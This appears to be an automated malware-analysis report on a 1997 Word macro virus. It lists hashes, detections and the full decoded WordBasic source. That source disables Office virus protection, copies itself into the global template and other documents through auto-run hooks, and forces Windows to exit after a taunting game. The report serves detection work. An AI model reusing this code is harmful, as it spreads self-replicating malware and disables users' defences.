Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9998cbc1b0d8afce…

MALICIOUS

Office (OLE)

321.5 KB Created: 1997-09-04 12:34:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 32c9123d5349302474963fcc58e453bf SHA-1: 2599455eec11afed116af552a3230d5b82000449 SHA-256: 9998cbc1b0d8afce130f120f116d6450edfcf3277ff5088ff0e64c13761be464
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing WordBasic macros, flagged by multiple heuristics including 'OLE_LEGACY_WORDBASIC_MACRO_VIRUS'. The 'FileSaveAs' macro attempts to copy components from 'WINWORD.DOT' into the current document, and the 'FileTemplates' and 'ToolsMacro' subroutines contain logic to call a subroutine named 'game', suggesting an attempt to execute further malicious code or a secondary payload.

Heuristics 5

  • ClamAV: Doc.Trojan.Eraser-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Eraser-7
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="AutoOpen", Tab:=3
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12905 bytes
SHA-256: a5f089bc4ffa0b2b5679a9184c4d16362052216cb65f2e593074286aba5ffc82
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FileTemplates"

Public Sub MAIN()
Attribute MAIN.VB_Description = "更改使用中範本和範本選項"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileTemplates.MAIN"
Dim k
Dim y
'1997.09.02 by gdh
k = WordBasic.Int(Rnd() * 10)
If k >= 5 Then
WordBasic.Call "game"
GoTo bye
End If

exit_:
WordBasic.Beep
WordBasic.MsgBox " 記 憶 體 用 完 ", "WordBasic Err = 7", 48

bye:
End Sub

Attribute VB_Name = "ToolsMacro"

Public Sub MAIN()
Attribute MAIN.VB_Description = "執行,建立,刪除或修訂巨集"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.ToolsMacro.MAIN"
Dim k
Dim y
'1997.09.02 by gdh
k = WordBasic.Int(Rnd() * 10)
If k >= 5 Then
WordBasic.Call "game"
GoTo bye
End If

exit_:
WordBasic.Beep
WordBasic.MsgBox " 記 憶 體 用 完 ", "WordBasic Err = 7", 48

bye:

End Sub

Attribute VB_Name = "FileSaveAs"

Public Sub MAIN()
Attribute MAIN.VB_Description = "儲存文件複本於另一檔案"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSaveAs.MAIN"
Dim fn$
Dim s$
Dim cm1
Dim j
Dim tt
'1997.09.02 by gdh
WordBasic.DisableInput 1
On Error GoTo -1: On Error GoTo exit_
Err.Number = 0
fn$ = WordBasic.[FileName$]()
s$ = WordBasic.[DefaultDir$](8) + "\WINWORD.DOT"

WordBasic.FileSaveAs Format:=1
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="BG", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="AutoOpen", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="FileNew", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="FileOpen", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="FileClose", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="Game", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="ToolsMacro", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="FileSaveAs", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="FileTemplates", Tab:=3

WordBasic.DocClose 1

exit_:

End Sub

Attribute VB_Name = "FileClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = " "
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileClose.MAIN"
Dim fn$
Dim s$
Dim cm1
Dim j
Dim tt
'1997.09.02 by gdh
WordBasic.DisableInput 1
On Error Resume Next
Err.Number = 0
fn$ = WordBasic.[FileName$]()
s$ = WordBasic.[DefaultDir$](8) + "\WINWORD.DOT"

WordBasic.FileSaveAs Format:=1
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="BG", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="AutoOpen", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="FileNew", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="FileOpen", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="FileClose", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="Game", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="ToolsMacro", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="FileSaveAs", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="FileTemplates", Tab:=3

WordBasic.DocClose 1

exit_:


End Sub

Attribute VB_Name = "FileOpen"

Public Sub MAIN()
Dim s$
Dim fn$
Dim cm1
Dim j
Dim tt
'1997.09.02 by gdh
On Error Resume Next
Err.Number = 0
s$ = WordBasic.[DefaultDir$](8) + "\WINWORD.DOT"
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
WordBasic.CurValues.FileOpen dlg
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg
fn$ = dlg.Name

WordBasic.FileSaveAs Format:=1
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="BG", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="AutoOpen", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="FileNew", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="FileOpen", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="FileClose", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="Game", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="ToolsMacro", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="FileSaveAs", Tab:=3
WordBasic.Organizer Copy:=1, Source:=s$, Destination:=fn$, Name:="FileTemplates", Tab:=3

WordBasic.DocClose 1


exit_:


End Sub

Attribute VB_Name = "GAME"

Public Sub MAIN()
Dim R
Dim num
Dim ans
'1997.09.02 by gdh
R = 1
WordBasic.BeginDialog 478, 216, " 美 女 拳 "
    WordBasic.Picture 10, 6, 238, 199, "p4", 1, "Picture1"
    WordBasic.Text 266, 8, 194, 13, "嗨 ! 辛 苦 了 ! 和 我 猜 個 拳", "Text1"
    WordBasic.Text 266, 27, 193, 13, "輕 鬆 一 下 吧 !  猜 贏 就 讓 ", "Text2"
    WordBasic.Text 266, 46, 184, 13, "你 看 精 彩 的 !! 猜 輸 了 !!", "Text3"
    WordBasic.Text 266, 65, 190, 13, "放 心 !! 絕 不 會 動 你 寶 貴", "Text4"
    WordBasic.Text 266, 84, 190, 13, "的 電 腦 和 資 料 的 !! 放 心", "Text5"
    WordBasic.Text 266, 103, 190, 13, "玩 吧 !小 心 別 噴 鼻 血 喔 !", "Text6"
    WordBasic.PushButton 268, 122, 195, 21, "那我出剪刀好了!!", "Push1"
    WordBasic.PushButton 268, 151, 195, 21, "那我出石頭好了!!", "Push2"
    WordBasic.PushButton 268, 183, 195, 21, "那我出布好了!!", "Push3"
WordBasic.EndDialog

guessgame:
Dim gdh As Object: Set gdh = WordBasic.CurValues.UserDialog
num = WordBasic.Int(Rnd() * 5) + 1
ans = WordBasic.Dialog.UserDialog(gdh)
If num >= 4 Then
recall
GoTo guessgame

End If
If ans = num Then
WordBasic.MsgBox " 可  惡 !! 竟  然  會  輸  給  你 !!", " 美 女 拳 ", 64
GoTo exit_
End If
WordBasic.Beep
WordBasic.MsgBox " 遜  斃  了 !! 叫  聲  姑  奶  奶 , 考  慮  讓  你  一  把 !!", " 美 女 拳 ", 64
R = R + 1
If R <= 5 Then
GoTo guessgame
End If

WordBasic.MsgBox " 沒  見  過  像  你  這  樣  笨  的  人  !!  小  姐  我  不  跟  你  耗  了 !!", " 美 女 拳 ", 64
WordBasic.ExitWindows

exit_:
guess1
End Sub

Private Sub guess1()
Dim R
Dim num
Dim ans
R = 1
WordBasic.BeginDialog 478, 216, " 美 女 拳 "
    WordBasic.Picture 10, 6, 238, 199, "lamo", 1, "Picture1"
    WordBasic.Text 266, 8, 194, 13, "嗯!你贏了!再和我猜個拳吧!", "Text1"
    WordBasic.Text 266, 27, 193, 13, "看你好運到幾時?猜贏了!", "Text2"
    WordBasic.Text 266, 46, 184, 13, "就讓你看更精彩的!!猜輸了!!", "Text3"
    WordBasic.Text 266, 65, 190, 13, "放心!!絕不會傷害你寶貴", "Text4"
    WordBasic.Text 266, 84, 190, 13, "的電腦和資料的!!放心", "Text5"
    WordBasic.Text 266, 103, 190, 13, "玩吧!記得把鼻血擦乾淨喔!", "Text6"
    WordBasic.PushButton 268, 122, 195, 21, "那我出剪刀好了!!", "Push1"
    WordBasic.PushButton 268, 151, 195, 21, "那我出石頭好了!!", "Push2"
    WordBasic.PushButton 268, 183, 195, 21, "那我出布好了!!", "Push3"
WordBasic.EndDialog

guessgame:
Dim gdh As Object: Set gdh = WordBasic.CurValues.UserDialog
num = WordBasic.Int(Rnd() * 5) + 1
ans = WordBasic.Dialog.UserDialog(gdh)
If num >= 5 Then
recall
GoTo guessgame

End If

If ans = num Then
WordBasic.MsgBox " 氣  死  人  了 !! 你  的  運  氣  怎  麼  這  麼  好  ?", " 美 女 拳 ", 64
GoTo exit_
End If
WordBasic.Beep
WordBasic.MsgBox " 回  去  吃  奶  吧 !! 乳  臭  未  乾  的  小  子 !!", " 美 女 拳 ", 64
R = R + 1
If R <= 5 Then
GoTo guessgame
End If

WordBasic.MsgBox " 天  字  第  一  號  大  白  癡 !!!! 過  來  舔  我  的  腳  趾  頭  吧 !!", " 美 女 拳 ", 64
WordBasic.ExitWindows


exit_:
guess2
End Sub

Private Sub guess2()
Dim R
Dim num
Dim ans
R = 1
WordBasic.BeginDialog 478, 216, " 美 女 拳 "
    WordBasic.Picture 10, 6, 238, 199, "p1", 1, "Picture1"
    WordBasic.Text 266, 8, 194, 13, "不簡單!連闖兩關!這回要讓你", "Text1"
    WordBasic.Text 266, 27, 193, 13, "吃不完兜著走!你行嗎???", "Text2"
    WordBasic.Text 266, 46, 184, 13, "你贏的話!還有更精彩的", "Text3"
    WordBasic.Text 266, 65, 190, 13, "揉揉眼睛別瞪著一對死魚眼!", "Text4"
    WordBasic.Text 266, 84, 190, 13, "把掛在嘴角的口水擦乾吧!!", "Text5"
    WordBasic.Text 266, 103, 190, 13, "別裝出一副大白癡的模樣!", "Text6"
    WordBasic.PushButton 268, 122, 195, 21, "那我出剪刀好了!!", "Push1"
    WordBasic.PushButton 268, 151, 195, 21, "那我出石頭好了!!", "Push2"
    WordBasic.PushButton 268, 183, 195, 21, "那我出布好了!!", "Push3"
WordBasic.EndDialog

guessgame:
Dim gdh As Object: Set gdh = WordBasic.CurValues.UserDialog
num = WordBasic.Int(Rnd() * 15) + 1
ans = WordBasic.Dialog.UserDialog(gdh)
If num >= 8 Then
recall
GoTo guessgame

End If

If ans = num Then
WordBasic.MsgBox "喂 !! 你  有  作  弊  的  嫌  疑  喔 !!", " 美 女 拳 ", 64
GoTo exit_
End If
WordBasic.Beep
WordBasic.MsgBox "喂 !! 你  在  睡  覺  ㄚ ????", " 美 女 拳 ", 64
R = R + 1
If R <= 5 Then
GoTo guessgame
End If

WordBasic.MsgBox " 癩  蝦  蟆  想  吃  天  鵝  肉  !! 還  早  著  呢  !! 一  邊  涼  快  去 !!", " 美 女 拳 ", 64
WordBasic.ExitWindows

exit_:
guess3
End Sub

Private Sub guess3()
Dim num
Dim ans
WordBasic.BeginDialog 478, 216, " 美 女 拳 "
    WordBasic.Picture 10, 6, 238, 199, "p2", 1, "Picture1"
    WordBasic.Text 266, 8, 194, 13, "嗨!一路過關斬將!辛苦了! ", "Text1"
    WordBasic.Text 266, 27, 193, 13, "輕鬆一下!", "Text2"
    WordBasic.Text 266, 46, 184, 13, "準備看精彩的吧!!", "Text3"
    WordBasic.Text 266, 65, 190, 13, "放心!!絕不會動你寶貴", "Text4"
    WordBasic.Text 266, 84, 190, 13, "的電腦和資料的!!放心看吧!", "Text5"
    WordBasic.Text 266, 103, 190, 13, "小心別把鼻血噴得到處都是!", "Text6"
    WordBasic.PushButton 268, 122, 195, 21, "那我出剪刀好了!!", "Push1"
    WordBasic.PushButton 268, 151, 195, 21, "那我出石頭好了!!", "Push2"
    WordBasic.PushButton 268, 183, 195, 21, "那我出布好了!!", "Push3"
WordBasic.EndDialog

guessgame:
Dim gdh As Object: Set gdh = WordBasic.CurValues.UserDialog
num = WordBasic.Int(Rnd() * 10) + 1
ans = WordBasic.Dialog.UserDialog(gdh)
If num >= 6 Then
recall
GoTo guessgame

End If

If ans = num Then
WordBasic.MsgBox " 討  厭  啦  !! 剛  才  那  一  拳  不  算  啦  !!", " 美 女 拳 ", 64
GoTo exit_
End If
WordBasic.Beep
WordBasic.MsgBox " ㄟ !! 我  贏  了 !! 好  棒  喔  !! 這  叫  實  力  !! 懂  不  懂  ??", " 美 女 拳", 64
GoTo guessgame



exit_:
WordBasic.FileNewDefault
WordBasic.CenterPara
WordBasic.FormatFont Points:=64, Underline:=1, Color:=6, Bold:=1
WordBasic.Insert "我發現一 隻大豬哥了耶 !! 在哪裡....?在哪裡.......? 不就正在電腦螢幕前嗎??"
WordBasic.DocClose 1
WordBasic.ExitWindows

End Sub

Private Sub recall()
 
WordBasic.MsgBox " 搞  什  麼  嘛 ! 竟  然  平  手 ! 再  猜  一  拳  吧 !! ", " 美 女 拳 ", 64


End Sub

Attribute VB_Name = "FileNew"

Public Sub MAIN()
Dim t
Dim a$
Dim s$
'1997.09.02 by gdh
On Error Resume Next
t = WordBasic.Second(WordBasic.Now())
a$ = WordBasic.[Right$](Str(t), 1)
s$ = WordBasic.[DefaultDir$](8) + "\WINWORD.DOT"
WordBasic.FileNew Template:=s$, NewTemplate:=1
WordBasic.FileSaveAs Format:=1, Name:="DOC" + a$ + ".doc"
If WordBasic.Day(WordBasic.Now()) <= WordBasic.Int(Rnd() * 30) + 1 Then
WordBasic.Call "game"
End If
exit_:

End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
'1997.09.02 by gdh
On Error Resume Next
Err.Number = 0
Options.VirusProtection = False
WordBasic.Call "BG"
End Sub

Attribute VB_Name = "BG"

Public Sub MAIN()

Dim fn$
Dim s$
Dim cm
Dim i
Dim t
'1997.09.02 by gdh
Options.VirusProtection = False
WordBasic.DisableInput 1
On Error GoTo -1: On Error GoTo exit_
fn$ = WordBasic.[FileName$]()
s$ = WordBasic.[DefaultDir$](8) + "\WINWORD.DOT"
cm = WordBasic.CountMacros(0, 0, 1)
If cm > 0 Then
   For i = 1 To cm
      If WordBasic.[MacroName$](i, 0, 0, 1) = "BG" Then t = 1
   Next i
End If
If t <> 1 Then
WordBasic.FileSaveAs Name:=s$, Format:=1
On Error Resume Next
Err.Number = 0
WordBasic.DocClose 1
WordBasic.FileExit 1
End If

exit_:

End Sub